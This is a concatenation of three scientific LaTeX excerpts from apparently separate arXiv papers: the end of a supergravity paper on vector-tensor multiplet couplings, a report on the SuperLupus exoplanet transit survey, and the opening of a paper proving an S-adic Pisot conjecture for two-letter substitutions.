\Big( ({\bar \cD}^{\underline{1}})^2 +4\bar{S}^{{\underline{1}} {\underline{1}}}\Big)
\oint {\rm d}\zeta\,
\lambda (z,\zeta)=0~,
\end{eqnarray}
since the integrand of the contour integral possesses no pole in the $\zeta$-plane.
This completes our second proof of the fact
that the vector-tensor coupling
$\cL^{++}_{\rm v-t} = H^{++} V$, with $H^{++}(z,u^+)$ is
a tensor multiplet
and $V(z,u^+) $ the tropical prepotential of a vector multiplet,
is invariant under the gauge transformations (\ref{vector-g-i}).
In ref. \cite{K-2008}, it was postulated that any chiral integral of the form
\begin{eqnarray}
S_{\rm c}= \int {\rm d}^4 x \,{\rm d}^4\theta \, \cE \, \cL_{\rm c} &+& {\rm c.c.}~,
\qquad {\bar \cD}_\ad \cL_{\rm c} =0 ~,
\end{eqnarray}
can be represented as follows:
\begin{eqnarray}
S_{\rm c}&=&\frac{1}{2\pi} \oint (u^+ {\rm d} u^{+})
\int {\rm d}^4 x \,{\rm d}^4\theta {\rm d}^4{\bar \theta}\, E\,
\frac{{ W}{\bar { W}} \cL^{++}_{\rm c} }{({ \Sigma}^{++})^2 }~, \nonumber \\
\cL^{++}_{\rm c} &=&
-\frac{1}{4} { V} \,\Big\{ \Big( (\cD^{+})^2+4{S}^{++}\Big) \frac{\cL_{\rm c}}{ W}
+\Big( (\cDB^{+})^2+4\bar{S}^{++}\Big)
\frac{{\bar \cL}_{\rm c} }{\bar { W}} \Big\}~,~~~~~~
\end{eqnarray}
with $V(z,u^+)$ a tropical prepotential for the vector multiplet
characterized by the field strength $ W$.
This assertion can now be immediately proved with the aid of (\ref{action-proj-chiral}).
\\
\noindent
{\bf Acknowledgements:}\\
We are grateful to Ian McArthur for reading the manuscript.
This work was supported in part by the Australian Research Council.
At a final stage of this project, G.T.-M. was supported
by the endowment
of the John S.~Toll Professorship, the University of
Maryland Center for String \& Particle Theory, and
National Science Foundation Grant PHY-0354401.
|
1,477,468,750,069 | arxiv | \section{The Original Lupus Survey}
The Lupus Survey was a deep transit survey of a 0.66 square degree
patch of sky near the Galactic Plane (b=11$^{\circ}$). The survey was
conducted using the ANU 40 Inch Telescope at Siding Spring
Observatory, Australia in May and June of 2005 and 2006. In
total, 1783 good quality images of the field were obtained. The images were 5-minute
exposures taken in a wide V+R filter. Time series photometry was performed for
110,372 stars in the field, with 16,134 of those stars having a
precision of $\sigma<0.025$. The transiting planet candidates and results from this
survey will be published in \cite[Bayliss et al. (2008)]{Bayliss08}.
The discovery of a Hot Jupiter in the field, Lupus-TR-3b, has been
published in a separate letter (\cite[Weldrake et
al. (2008)]{Weldrake08b}), and the radial velocity follow-up
confirming the discovery is set out in~Figure~\ref{lupus3}.
\begin{figure}[!ht]
\vspace*{-2.5 cm}
\begin{center}
\includegraphics[width=8.5cm]{lupus3.eps}
\vspace*{-0.5 cm}
\caption{Radial velocity measurements for Lupus-TR-3 from MIKE on Magellan II (Clay) (\cite[Weldrake et
al. (2008)]{Weldrake08b}). Small solid circles are the individual
radial velocity measurements, with the error bars determined from the actual scatter in the
orders. Large open circles are uncertainty-weighted nightly
averages. The solid line is the best-fit sinusoid with only the
period fixed (from the photometry). The fitted phase matched the
photometrically-determined phase to within 0.13~days, well within
fit uncertainties.}
\label{lupus3}
\end{center}
\end{figure}
Additionally, 494 new variables were discovered in the survey field. These variables have
been cataloged in \cite[Weldrake \& Bayliss (2008)]{Weldrake08}.
\section{SuperLupus: Extending the Survey Duration}
The duration of a transit survey is critical to its prospects of
success, and underestimating required durations may
have contributed to early surveys not discovering transiting planets in the
numbers expected (\cite[Pont, Zucker, \& Queloz (2006)]{pont06}).
We modeled the effect of increasing our survey duration by looking
at the transit recoverability
for Hot Jupiters as a function of planetary period and the duration of
the survey. We created 1000 transiting Hot
Jupiters in each of 7 period bins, ranging from \mbox{2-3~days} to 7-8~days.
Each transit lightcurve was given a random phase. We then convolved these transits with a window function
out to 100 nights based on actual weather logs taken from the Siding
Spring Observatory site. A detection was equated with observing the
equivalent of three full transits. The results of the simulation are
plotted \mbox{in Figure~\ref{recover}}. These results indicate that by 100
nights (the SuperLupus duration) we will detect nearly all transiting Hot
Jupiters in the field with periods from 1 to 3 days. The fraction of
longer period Hot Jupiters we can detect will rise significantly from
the original Lupus survey, especially planets with 5-8 day periods, to
which the original survey was very insensitive. Our new
dataset should also allow us to increase our
sensitivity to smaller radius planets, as more data-points in the
lightcurve will increase our S/N.
\begin{figure}[!ht]
\begin{center}
\includegraphics[width=11.0cm]{recover.eps}
\caption{The fraction of planets detected as a function of the duration
of the survey for 7 different period bins. These simulations show the benefit of
moving from the Lupus Survey (50 nights; left dashed line)
to the expanded SuperLupus Survey (100 nights; right dashed line),
both in terms of completeness at
shorter periods and greatly increased sensitivity at longer periods.}
\label{recover}
\end{center}
\end{figure}
\section{SuperLupus: The New Data}
Based on these simulations, we have initiated the SuperLupus project to
expand the original Lupus
Transit Survey by imaging the field again in 2008. The instrument
set-up and observational strategy is identical to that used in the
original survey (see Table \ref{survey}).
Data has now been taken in the months of March, April and May 2008. We
have approximately 2500 new images, and expect at least 70\% of
these will be of sufficient quality to use in the production of high
precision time series photometry.
\section{Aperture Photometry: Source Extractor}
The photometry for the original survey was produced using Difference
Imaging Analysis (DIA: \cite[Alard \& Lupton (1998)]{alard98},
\cite[Wozniak (2000)]{wozniak00}). This method is well suited to crowded
fields. The Lupus field is \textit{moderately} crowded, being only
11$^{\circ}$ above the Galactic Plane. In order to test how aperture
photometry will compare to the DIA photometry in this r\'egime, we
used the IRAF package DAOPHOT and the
Source Extractor software (\cite[Bertin \& Arnouts (1996)]{bertin96}) to produce time
series photometry on a small subset of the 2006 images. These tests
indicated that Source Extractor, with its more sophisticated background
subtraction, gave slightly better results than DAOPHOT for our images, and that it
compared well to DIA photometry. Source Extractor is also a very fast
algorithm, and this will allow us to perform photometry using multiple apertures and
select the one best suited to the star and its environment.
\begin{table}[!h]
\begin{center}
\caption{Properties of the SuperLupus Transit Survey}
\label{survey}
\vspace{2mm}
\begin{tabular}{ll}\hline\hline
& \\
Telescope & ANU 40 Inch Telescope (1.0m aperture) \\
Site & Siding Spring Observatory, Australia \\
& Lat.: $-$31$^{\circ}$16$^{\rm{m}}$36$^{\rm{s}}$\\
& Long.:
$-$9$^{\rm{h}}$56$^{\rm{m}}$16$^{\rm{s}}$ W\\
Field of View & 0.66 sq degrees \\
Cadence & 6 minutes \\
Field Location & Lupus (b=11$^{\circ}$)\\
& RA:15$^{\rm{h}}$30$^{\rm{m}}$36.3$^{\rm{s}}$,\\
& Dec:$-$42$^{\circ}$53$'$53.0$''$ (J2000)\\
Pixel Size & 15 microns, 0.375 pixels/arcsecond\\
Filter & Custom V+R filter\\
Stars Monitored & 110,372, with 16,134 to $\sigma<0.025$ mags\\
Number of Images & 1783, expanding to $\approx$3400 with SuperLupus\\
& \\\hline
\end{tabular}
\end{center}
\end{table}
|
1,477,468,750,070 | arxiv | \section{Introduction}
A~symbolic substitution is a morphism of the free monoid. More generally, a substitution rule acts on a finite collection of tiles by first inflating them, and then subdividing them into translates of tiles of the initial collection.
Substitutions thus generate symbolic dynamical system as well as tiling spaces.
The Pisot substitution conjecture states that any substitutive dynamical system has pure discrete spectrum, under the algebraic assumption that its expansion factor is a Pisot number (together with some extra assumption of irreducibility).
Pure discrete spectrum means that the substitutive dynamical system is measurably conjugate to a rotation on a compact abelian group.
Pisot substitutions are thus expected to produce self-similar systems with long range order.
This conjecture has been proved in the two-letter case; see \cite{Barge-Diamond:02} together with \cite{Host} or~\cite{Hollander-Solomyak:03}.
For more on the Pisot substitution conjecture, see e.g.\ \cite{CANTBST,ABBLS}.
We prove an extension of the two-letter Pisot substitution conjecture to the symbolic $S$-adic framework, that is, for infinite words generated by iterating different substitutions in a prescribed order.
More precisely, an $S$-adic expansion of an infinite word~$\omega$ is given by a sequence of substitutions $\boldsymbol{\sigma} = (\sigma_n)_{n \in \mathbb{N}}$ (called directive sequence) and a sequence of letters $(i_n)_{n \in \mathbb{N}}$, such that $\omega = \lim_{n\to\infty} \sigma_0 \sigma_1 \cdots \sigma_n(i_{n+1})$.
Such expansions are widely studied. They occur e.g.\ under the term `mixed substitutions' or `multi-substitution' \cite{Gahler:2013,PV:2013}, or else as `fusion systems' \cite{PriebeFrank-Sadun11,PriebeFrank-Sadun14}.
They are closely connected to adic systems, such as considered e.g.\ in~\cite{Fisher:09}. Fore more on $S$-adic systems, see \cite{Durand:00a,Durand:00b,Durand-Leroy-Richomme:13,Berthe-Delecroix}.
We consider the (unimodular) Pisot $S$-adic framework introduced in~\cite{Berthe-Steiner-Thuswaldner}, where unimodular means that the incidence matrices of the substitutions are unimodular.
The $S$-adic Pisot condition is stated in terms of Lyapunov exponents: the second Lyapunov exponent associated with the shift space made of the directive sequences
$\boldsymbol{\sigma}$ and with the cocyles provided by the incidence matrices of the substitutions is negative.
For a given directive sequence~$\boldsymbol{\sigma}$, let $\mathcal{L}_{\boldsymbol{\sigma}}^{(k)}$ stand for the language associated with the shifted directive sequence $(\sigma_{n+k})_{n \in \mathbb{N}}$.
The Pisot condition implies in particular a uniform balancedness property for $\mathcal{L}_{\boldsymbol{\sigma}}^{(k)}$ (i.e., uniformly bounded symbolic discrepancy), uniform with respect to some infinite set of non-negative integers~$k$. Note that the balancedness property is proved in \cite{Sadun:15} to characterize topological conjugacy under changes in the lengths of the tiles of the associated ${\mathbb R}$-action on the $1$-dimensional tilings.
One difficulty when working in the $S$-adic framework is that no natural candidate exists for a left eigenvector (that is, for a stable space).
Recall that the normalized left eigenvector (whose existence comes from the Perron-Frobenius Theorem) in the substitutive case provides in particular the measure of the tiles of the associated tiling of the line.
We introduce here a set of assumptions which, among other things, allows us to work with a generalized left eigenvector (that is, a stable space).
We stress the fact that this vector is not canonically defined (contrarily to the right eigenvector).
These assumptions will be implied by the $S$-adic Pisot condition.
We need first to guarantee the existence of a generalized right eigenvector~$\mathbf{u}$ (which yields the unstable space).
The corresponding conditions are natural and are stated in terms of primitivity of the directive sequence~$\boldsymbol{\sigma}$ in the $S$-adic framework.
We also require the directive sequences~$\boldsymbol{\sigma}$ to be recurrent (every finite combination of substitutions in the sequence occurs infinitely often), which yields unique ergodicity and strong convergence toward the generalized right eigendirection.
We then need rational independence of the coordinates of~$\mathbf{u}$.
This is implied by the assumption of algebraically irreducibility, which states that the characteristic polynomial of the incidence matrix of $\sigma_k \sigma_{k+1} \cdots \sigma_{\ell}$ is irreducible for all~$k$ and all sufficiently large~$\ell$.
Lastly, we then will be able to define a vector playing the role of a left eigenvector, by compactness together with primitivity and recurrence.
The starting point of the proofs in the two-letter substitutive case is that strong coincidences hold~\cite{Barge-Diamond:02}.
We also prove an analogous statement as a starting point. However the fact that strong coincidences hold at order $n$ (i.e.,
for the product $\sigma_0 \sigma_1 \cdots \sigma_n$) does not necessarily imply strong coincidences at order $m$ for $m > n$ (which holds in the substitutive case)
makes the extension to the present framework more delicate than it first occurs. The proof heavily relies, among other things, on the recurrence of the directive sequence.
There are then two strategies, one based on making explicit the action of the rotation on the unit circle~\cite{Host}, whereas the approach of \cite{Hollander-Solomyak:03} uses the balanced pair algorithm.
However, there seems to be no natural expression of the balanced pair algorithm in the $S$-adic framework.
Our strategy for proving discrete spectrum thus relies on the use of `Rauzy fractals' and follows~\cite{Host}.
We recall that a Rauzy fractal is a set which is endowed with an exchange of pieces acting on it that allows to make explicit (by factorizing by a natural lattice) the maximal equicontinuous factor of the underlying symbolic dynamical system (see~\cite[Section~7.5.4]{Fog02}). For more on Rauzy fractals, see e.g. \cite{Fog02,ST09,CANTBST}.
More precisely, the strong coincidence condition implies that there is a well-defined exchange of pieces on the Rauzy fractal.
It remains to factorize this exchange of pieces in order to get a circle rotation.
The factorization comes from \cite{Host} and extends directly from the substitutive case to the present $S$-adic framework.
\smallskip
Let us now state our results more precisely.
(Although most of the terminology of the statements was defined briefly in the introduction above, we refer the reader to Section~\ref{sec:ingredients} for exact definitions.)
We just recall here that a sequence of substitutions $\boldsymbol{\sigma} = (\sigma_n)_{n\in\mathbb{N}}$ on the alphabet $\mathcal{A} = \{1,2\}$ satisfies the \emph{strong coincidence condition} if there is $n \in \mathbb{N}$ such that $\sigma_0 \sigma_1 \cdots \sigma_n(1)\in p_1 i \mathcal{A}^*$ and $\sigma_0 \sigma_1 \cdots \sigma_n(2)\in p_2 i \mathcal{A}^*$ for some $i\in\mathcal{A}$ and words $p_1,p_2\in\mathcal{A}^*$ with the same abelianization $\mathbf{l}(p_1) = \mathbf{l}(p_2)$.
\begin{theorem} \label{scc}
Let $\boldsymbol{\sigma} = (\sigma_n)_{n\in\mathbb{N}}$ be a primitive and algebraically irreducible sequence of substitutions over $\mathcal{A} = \{1,2\}$. Assume that there is $C > 0$ such that for each $\ell \in \mathbb{N}$, there is $n \ge 1$ with $(\sigma_{n},\ldots,\sigma_{n+\ell-1}) = (\sigma_{0},\ldots,\sigma_{\ell-1})$ and the language $\mathcal{L}_{\boldsymbol{\sigma}}^{(n+\ell)}$ is $C$-balanced.
Then $\boldsymbol{\sigma}$ satisfies the strong coincidence condition.
\end{theorem}
Note that we do not assume unimodularity of the substitutions for strong coincidences, whereas we do for the following.
\begin{theorem}\label{sadic2}
Let $\boldsymbol{\sigma} = (\sigma_n)_{n\in\mathbb{N}}$ be a primitive and algebraically irreducible sequence of unimodular substitutions over~$\mathcal{A}=\{1,2\}$. Assume that there is $C > 0$ such that for each $\ell \in \mathbb{N}$, there is $n \ge 1$ with $(\sigma_{n},\ldots,\sigma_{n+\ell-1}) = (\sigma_{0},\ldots,\sigma_{\ell-1})$ and the language $\mathcal{L}_{\boldsymbol{\sigma}}^{(n+\ell)}$ is $C$-balanced.
Then the $S$-adic shift $(X_{\boldsymbol{\sigma}},\Sigma,\mu)$, where $\Sigma$ stands for the shift and $\mu$ is the (unique) shift-invariant measure on $X$, is measurably conjugate to a rotation on the circle~$\mathbb{S}^1$; in particular, it has pure discrete spectrum.
\end{theorem}
Let $S$ be a finite set of substitutions on $\mathcal{A}=\{1,2\}$ having invertible incidence matrices, and let $(D, \Sigma, \nu)$ with $D \subset S^\mathbb{N}$ be an (ergodic) shift equipped with a probability measure~$\nu$.
With each $\boldsymbol{\sigma} = (\sigma_n)_{n\in\mathbb{N}} \in D$, associate the cocycle $A(\boldsymbol{\sigma}) = \tr{\!M}_0$ and denote the \emph{Lyapunov exponents} w.r.t.\ this cocycle by $\theta_1, \theta_2$. As in the more general situation of \cite[\S 6.3]{Berthe-Delecroix}, we say that $(D, \Sigma, \nu)$ satisfies the \emph{Pisot condition} if $\theta_1 > 0 > \theta_2$; see also \cite[Section 2.6]{Berthe-Steiner-Thuswaldner} for details.
With this notation, we are able to state the following theorem.
\begin{theorem}\label{th:ae}
Let $S$ be a finite set of unimodular substitutions on two letters, and let $(D, \Sigma, \nu)$ with $D \subset S^\mathbb{N}$ be a sofic shift that satisfies the Pisot condition. Assume that $\nu$ assigns positive measure to each (non-empty) cylinder, and that there exists a cylinder corresponding to a substitution with positive incidence matrix.
Then, for $\nu$-almost all sequences $\boldsymbol{\sigma} \in D$ the $S$-adic shift $(X_{\boldsymbol{\sigma}},\Sigma,\mu)$ is measurably conjugate to a rotation on the circle~$\mathbb{S}^1$; in particular, it has pure discrete spectrum.
\end{theorem}
Let us describe briefly the organization of the paper.
We recall the required definitions in Section~\ref{sec:ingredients}.
Section~\ref{sec:strongcoincidence} is devoted to the proof of the fact that the strong coincidence condition holds (Theorem~\ref{scc}), and we conclude the proof of Theorems~\ref{sadic2} and~\ref{th:ae} in Section~\ref{sec:conjecture}.
\section{Ingredients}\label{sec:ingredients}
The following $S$-adic framework is defined in full detail and for a finite alphabet $\mathcal{A}=\{1,\ldots,d\}$ in \cite{Berthe-Steiner-Thuswaldner}.
We introduce the reader to some of the main notions and results for $d=2$.
\subsection{$S$-adic shifts}
Let $\mathcal{A} = \{1,2\}$ and let $\mathcal{A}^*$ denote the free monoid of finite words over~$\mathcal{A}$, endowed with
the concatenation of words as product operation.
A~\emph{substitution} $\sigma$ over~$\mathcal{A}$ is an endomorphism of~$\mathcal{A}^*$ sending non-empty words to non-empty words.
The \emph{incidence matrix} (or abelianization) of~$\sigma$ is the square matrix $M_\sigma = (|\sigma(j)|_i)_{i,j\in\mathcal{A}} \in \mathbb{N}^{2\times 2}$,
where the notation $|w|_i$ stands for the number of occurrences of the letter~$i$ in $w \in \mathcal{A}^*$.
The substitution $\sigma$ is said to be \emph{unimodular} if $|\!\det M_\sigma| = 1$.
The \emph{abelianization map} is defined by $\mathbf{l}:\ \mathcal{A}^* \to\mathbb{N}^2, \ w \mapsto {}^t(|w|_1,|w|_2)$.
Note that $M_\sigma\circ\mathbf{l} = \mathbf{l}\circ\sigma$.
Let $\boldsymbol{\sigma} = (\sigma_n)_{n\in\mathbb{N}}$ be a sequence of substitutions over the alphabet~$\mathcal{A}$.
For ease of notation we set $M_n = M_{\sigma_n}$ for $n \in \mathbb{N}$, and
\[
\sigma_{[k,\ell)} = \sigma_k \sigma_{k+1} \cdots \sigma_{\ell-1} \quad \mbox{and} \quad M_{[k,\ell)} = M_k M_{k+1} \cdots M_{\ell-1} \quad (0 \le k \le \ell).
\]
The sequence~$\boldsymbol{\sigma}$ is said to be \emph{primitive} if, for each $k \in \mathbb{N}$, $M_{[k,\ell)}$ is a positive matrix for some $\ell > k$.
We say that $\boldsymbol{\sigma}$ is \emph{algebraically irreducible} if, for each $k \in \mathbb{N}$, the characteristic polynomial of $M_{[k,\ell)}$ is irreducible for all sufficiently large~$\ell$.
Recall that $w\in\mathcal{A}^*$ is called a \emph{factor} of a finite or infinite word $v$ if it occurs at some position in $v$; it is a \emph{prefix} if it occurs at the beginning of $v$.
The \emph{language} associated with the sequence $(\sigma_{m+n})_{n\in\mathbb{N}}$ is
\[
\mathcal{L}_{\boldsymbol{\sigma}}^{(m)} = \big\{w \in \mathcal{A}^*:\, \mbox{$w$ is a factor of $\sigma_{[m,n)}(i)$ for some $i \in\mathcal{A}$, $n\in\mathbb{N}$}\big\} \qquad (m \in \mathbb{N}).
\]
We say that a~pair of words $u, v \in \mathcal{A}^*$ with the same length is \emph{$C$-balanced} if
\[
-C \le |u|_j - |v|_j \le C \quad \mbox{for all}\ j \in \mathcal{A}.
\]
A~language~$\mathcal{L}$ is $C$-\emph{balanced} if each pair of words $u, v \in \mathcal{L}$ with the same length is $C$-balanced.
It is said \emph{balanced} if it is $C$-balanced for some $C>0$.
The \emph{shift}~$\Sigma$ maps an infinite word $(\omega_n)_{n\in\mathbb{N}}$ to $(\omega_{n+1})_{n\in\mathbb{N}}$.
A~dynamical system $(X,\Sigma)$ is a \emph{shift space} if $X$ is a closed shift-invariant set of infinite words over a finite alphabet, equipped with the product topology of the discrete topology.
Given a sequence~$\boldsymbol{\sigma}$, let $S = \{\sigma_n:n\in\mathbb{N}\}$.
The \emph{$S$-adic shift} or \emph{$S$-adic system} with sequence~$\boldsymbol{\sigma}$ is the shift space $(X_{\boldsymbol{\sigma}}, \Sigma)$, where $X_{\boldsymbol{\sigma}}$ denotes the set of infinite words~$\omega$ such that each factor of~$\omega$ is an element of~$\mathcal{L}_{\boldsymbol{\sigma}}^{(0)}$.
If $\boldsymbol{\sigma}$ is primitive, then $X_{\boldsymbol{\sigma}}$ is the closure of the $\Sigma$-orbit of any limit word $\omega$ of~$\boldsymbol{\sigma}$, where $\omega\in\mathcal{A}^\mathbb{N}$ is a \emph{limit word} of~$\boldsymbol{\sigma}$ if there is a sequence of infinite words $(\omega^{(n)})_{n\in\mathbb{N}}$ with $\omega^{(0)} = \omega$ and $\omega^{(n)} = \sigma_n(\omega^{(n+1)})$ for all $n \in \mathbb{N}$.
Recall that a shift space $(X,\Sigma)$ is \emph{minimal} if every non-empty closed shift-invariant subset equals the whole set; it is called \emph{uniquely ergodic} if there exists a unique shift-invariant probability measure on~$X$.
Let $\mu$ be a shift-invariant measure defined on $(X,\Sigma)$.
A~measurable eigenfunction of the system $(X,\Sigma,\mu)$ with associated eigenvalue $\alpha \in \mathbb{R}$ is an $L^2(X,\mu)$ function that satisfies $f(\Sigma^n(\omega)) = e^{2\pi i\alpha n} f(\omega)$ for all $n \in \mathbb{N}$ and $\omega \in X$.
The system $(X,\Sigma, \mu)$ has \emph{pure discrete spectrum} if $L^2(X,\mu)$ is spanned by the measurable eigenfunctions.
Furthermore, every dynamical system with pure discrete spectrum is measurably conjugate to a Kronecker system, i.e., a rotation on a compact abelian group; see~\cite{Walters:82}.
\subsection{Generalized Perron-Frobenius eigenvectors}
For a sequence of non-nega\-tive matrices $(M_n)_{n\in\mathbb{N}}$, there exists by \cite[pp.~91--95]{Furstenberg:60} a positive vector $\mathbf{u} \in \mathbb{R}_+^2$ such that
\[
\bigcap_{n\in\mathbb{N}} M_{[0,n)}\, \mathbb{R}^2_+ = \mathbb{R}_+ \mathbf{u},
\]
provided there are indices $k_1 < \ell_1 \le k_2 < \ell_2 \le \cdots$ and a positive matrix~$B$ such that $B = M_{[k_1,\ell_1)} = M_{[k_2,\ell_2)} = \cdots$.
Thus, for primitive and recurrent sequences $\boldsymbol{\sigma}$, this vector exists and we call it the \emph{generalized right eigenvector of} $\boldsymbol{\sigma}$.
The following criterion for $\mathbf{u}$ to have rationally independent coordinates is \cite[Lemma~4.2]{Berthe-Steiner-Thuswaldner}.
\begin{lemma}\label{le:rational}
Let $\boldsymbol{\sigma}$ be an algebraically irreducible sequence of substitutions with generalized right eigenvector~$\mathbf{u}$ and balanced language~$\mathcal{L}_{\boldsymbol{\sigma}}$. Then the coordinates of~$\mathbf{u}$ are rationally independent.
\end{lemma}
Contrary to the cones $M_{[0,n)}\, \mathbb{R}_+^2$, there is no reason for the cones $\tr{(M_{[0,n)})}\, \mathbb{R}_+^2$ to be nested.
Therefore, the intersection of these cones does not define a generalized left eigenvector of~$\boldsymbol{\sigma}$.
However, for a suitable choice of~$\mathbf{v}$, we have a subsequence $(n_k)_{k\in\mathbb{N}}$ such that the directions of $\mathbf{v}^{(n_k)} := \tr{(M_{[0,n_k)})}\, \mathbf{v}$ tend to that of~$\mathbf{v}$; in this case, $\mathbf{v}$ is called a \emph{recurrent left eigenvector}.
Under the assumptions of primitivity and recurrence of~$\boldsymbol{\sigma}$, given a strictly increasing sequence of non-negative integers~$(n_k)$, one can show that there is a recurrent left eigenvector $\mathbf{v} \in \mathbb{R}_{\ge0}^2 \setminus \{\mathbf{0}\}$ such that
\begin{equation}\label{eq:recurrentcandidate}
\lim_{k\in K,\,k\to\infty} \frac{\mathbf{v}^{(n_k)}}{\|\mathbf{v}^{(n_k)}\|} = \lim_{k\in K,\,k\to\infty}\frac{{}^t(M_{[0,n_k)})\mathbf{v}}{\|{}^t(M_{[0,n_k)})\mathbf{v}\|}= \mathbf{v}
\end{equation}
for some infinite set $K \subset \mathbb{N}$; see \cite[Lemma~5.7]{Berthe-Steiner-Thuswaldner}. Here and in the following, $\|\cdot\|$ denotes the maximum norm~$\|\cdot\|_\infty$.
Note that the hypotheses of Lemma~\ref{le:rational} do not guarantee that the coordinates of~$\mathbf{v}$ are rationally independent.
We will work in the sequel with sequences~$\boldsymbol{\sigma}$ satisfying a list of conditions gathered in the following Property PRICE (which stands for Primitivity, Recurrence, algebraic Irreducibility, $C$-balancedness, and recurrent left Eigenvector).
By \cite[Lemma~5.9]{Berthe-Steiner-Thuswaldner}, this property is a consequence of the assumptions of Theorem~\ref{scc}.
\begin{definition}[Property PRICE]\label{def:star}
We say that a sequence $\boldsymbol{\sigma} = (\sigma_n)$ has Property \emph{PRICE} w.r.t.\ the strictly increasing sequences $(n_k)_{k\in\mathbb{N}}$ and $(\ell_k)_{k\in\mathbb{N}}$ and the vector $\mathbf{v} \in \mathbb{R}_{\ge0}^2 \setminus \{\mathbf{0}\}$ if the following conditions hold.
\begin{itemize}
\labitem{(P)}{defP}
There exists $h \in \mathbb{N}$ and a positive matrix~$B$ such that $M_{[\ell_k-h,\ell_k)} = B$ for all $k \in \mathbb{N}$.
\labitem{(R)}{defR}
We have $(\sigma_{n_k}, \sigma_{n_k+1}, \ldots,\sigma_{n_k+\ell_k-1}) = (\sigma_0, \sigma_1, \ldots,\sigma_{\ell_k-1})$ for all $k\in\mathbb{N}$.
\labitem{(I)}{defI}
The directive sequence~$\boldsymbol{\sigma}$ is algebraically irreducible.
\labitem{(C)}{defC}
There is $C > 0$ such that $\mathcal{L}_{\boldsymbol{\sigma}}^{(n_k+\ell_k)}$ is $C$-balanced for all $k\in\mathbb{N}$.
\labitem{(E)}{defE}
We have $\lim_{k\to\infty} \mathbf{v}^{(n_k)}/\|\mathbf{v}^{(n_k)}\|= \mathbf{v}$.
\end{itemize}
We also simply say that $\boldsymbol{\sigma}$ satisfies Property PRICE if the five conditions hold for some not explicitly specified strictly increasing sequences $(n_k)_{k\in\mathbb{N}}$ and $(\ell_k)_{k\in\mathbb{N}}$ and some $\mathbf{v} \in \mathbb{R}_{\ge0}^2 \setminus \{\mathbf{0}\}$.
\end{definition}
\subsection{Rauzy fractals}
For a vector $\mathbf{w} \in \mathbb{R}^2\setminus\{\mathbf{0}\}$, let
\[
\mathbf{w}^\perp = \{ \mathbf{x}\in\mathbb{R}^2:\, \langle \mathbf{x},\mathbf{w}\rangle = 0 \}
\]
be the line orthogonal to~$\mathbf{w}$ containing the origin, equipped with the Lebesgue measure~$\lambda$.
In particular, for $\mathbf{1} = \tr{(1,1)}$, $\mathbf{1}^\perp$ is the line of vectors whose entries sum up to~$0$.
Let $\pi_{\mathbf{u},\mathbf{w}}$ be the projection along the direction~$\mathbf{u}$ onto~$\mathbf{w}^\perp$.
Given a primitive sequence of substitutions~$\boldsymbol{\sigma}$, the \emph{Rauzy fractal} associated with~$\boldsymbol{\sigma}$ over~$\mathcal{A}$ is:
\[
\mathcal{R} = \overline{\{\pi_{\mathbf{u},\mathbf{1}}\, \mathbf{l}(p):\, p \in \mathcal{A}^*,\ \mbox{$p$ is a prefix of a limit word of $\boldsymbol{\sigma}$}\}}.
\]
The Rauzy fractal has natural \emph{refinements} defined by
\[
\mathcal{R}(w) = \overline{\{ \pi_{\mathbf{u},\mathbf{1}} \, \mathbf{l}(p): p \in \mathcal{A}^*,\ \mbox{$pw$ is a prefix of a limit word of $\boldsymbol{\sigma}$} \}} \quad (w\in\mathcal{A}^*).
\]
If $w \in \mathcal{A}$, then $\mathcal{R}(w)$ is called a \emph{subtile}.
The set $\mathcal{R}$ is bounded if and only if $\mathcal{L}_{\boldsymbol{\sigma}}$ is balanced.
If $\mathcal{L}_{\boldsymbol{\sigma}}$ is $C$-balanced, then $\mathcal{R} \subset [-C,C]^2 \cap \mathbf{1}^\perp$; see \cite[Lemma~4.1]{Berthe-Steiner-Thuswaldner}.
Note that $\mathcal{R}$ is not necessarily an interval (however, it is an interval if the language $\mathcal{L}_{\boldsymbol{\sigma}}$ is Sturmian \cite{Fog02}.)
\subsection{Dynamical properties of $S$-adic shifts}\label{dynp}
For $\boldsymbol{\sigma}$ primitive, algebraically irreducible, and recurrent sequence of substitutions with balanced language~$\mathcal{L}_{\boldsymbol{\sigma}}$, the \emph{representation map}
\[
\varphi:\, X_{\boldsymbol{\sigma}} \to \mathcal{R},\quad u_0u_1\cdots \mapsto \bigcap_{n\in\mathbb{N}} \mathcal{R}(u_0u_1\cdots u_n)
\]
is well-defined, continuous and surjective; for more details, see \cite[Lemma~8.3]{Berthe-Steiner-Thuswaldner}.
Suppose that the strong coincidence condition holds.
Then the \emph{exchange of pieces}
\[
E: \mathcal{R}\to\mathcal{R},\quad \mathbf{x}\mapsto\mathbf{x}+\pi_{\mathbf{u},\mathbf{1}}\,\mathbf{e}_i\quad\text{ if } \mathbf{x}\in\mathcal{R}(i),
\]
is well-defined $\lambda$-almost everywhere on $\mathcal{R}$.
The following results appear in \cite[Theorem~1]{Berthe-Steiner-Thuswaldner}.
The assumptions on the directive sequence~$\boldsymbol{\sigma}$ are the ones of Theorem~\ref{sadic2}.
\begin{proposition}\label{sadicres}
Let $\boldsymbol{\sigma} = (\sigma_n)_{n\in\mathbb{N}}$ be a primitive and algebraically irreducible sequence of unimodular substitutions over~$\mathcal{A}=\{1,2\}$.
Assume that there is $C > 0$ such that for each $\ell \in \mathbb{N}$, there is $n \ge 1$ with $(\sigma_{n},\ldots,\sigma_{n+\ell-1}) = (\sigma_{0},\ldots,\sigma_{\ell-1})$ and the language $\mathcal{L}_{\boldsymbol{\sigma}}^{(n+\ell)}$ is $C$-balanced.
Then the following results are true.
\begin{enumerate}
\item\label{min}
The $S$-adic shift $(X_{\boldsymbol{\sigma}},\Sigma)$ is minimal and uniquely ergodic. Let $\mu$ stand for its unique invariant measure.
\item
Each subtile~$\mathcal{R}(i)$, $i \in \mathcal{A}$, of the Rauzy fractal~$\mathcal{R}$ is a compact set that is the closure of its interior; its boundary has zero Lebesgue measure~$\lambda$.
\item\label{1to1}
If $\boldsymbol{\sigma}$ satisfies the strong coincidence condition, then the subtiles $\mathcal{R}(i)$, $i\in\mathcal{A}$, are mutually disjoint in measure, and
the $S$-adic shift $(X_{\boldsymbol{\sigma}},\Sigma,\mu)$ is measurably conjugate to the exchange of pieces $(\mathcal{R},E,\lambda)$ via~$\varphi$.
\end{enumerate}
\end{proposition}
We will consider in the sequel the one-dimensional lattice $\Lambda := \mathbf{1}^\perp \cap \mathbb{Z}^2 = \mathbb{Z}(\mathbf{e}_2 - \mathbf{e}_1)$.
Let $\pi:\, \mathbf{1}^\perp \to \mathbf{1}^\perp/\Lambda$ be the canonical projection.
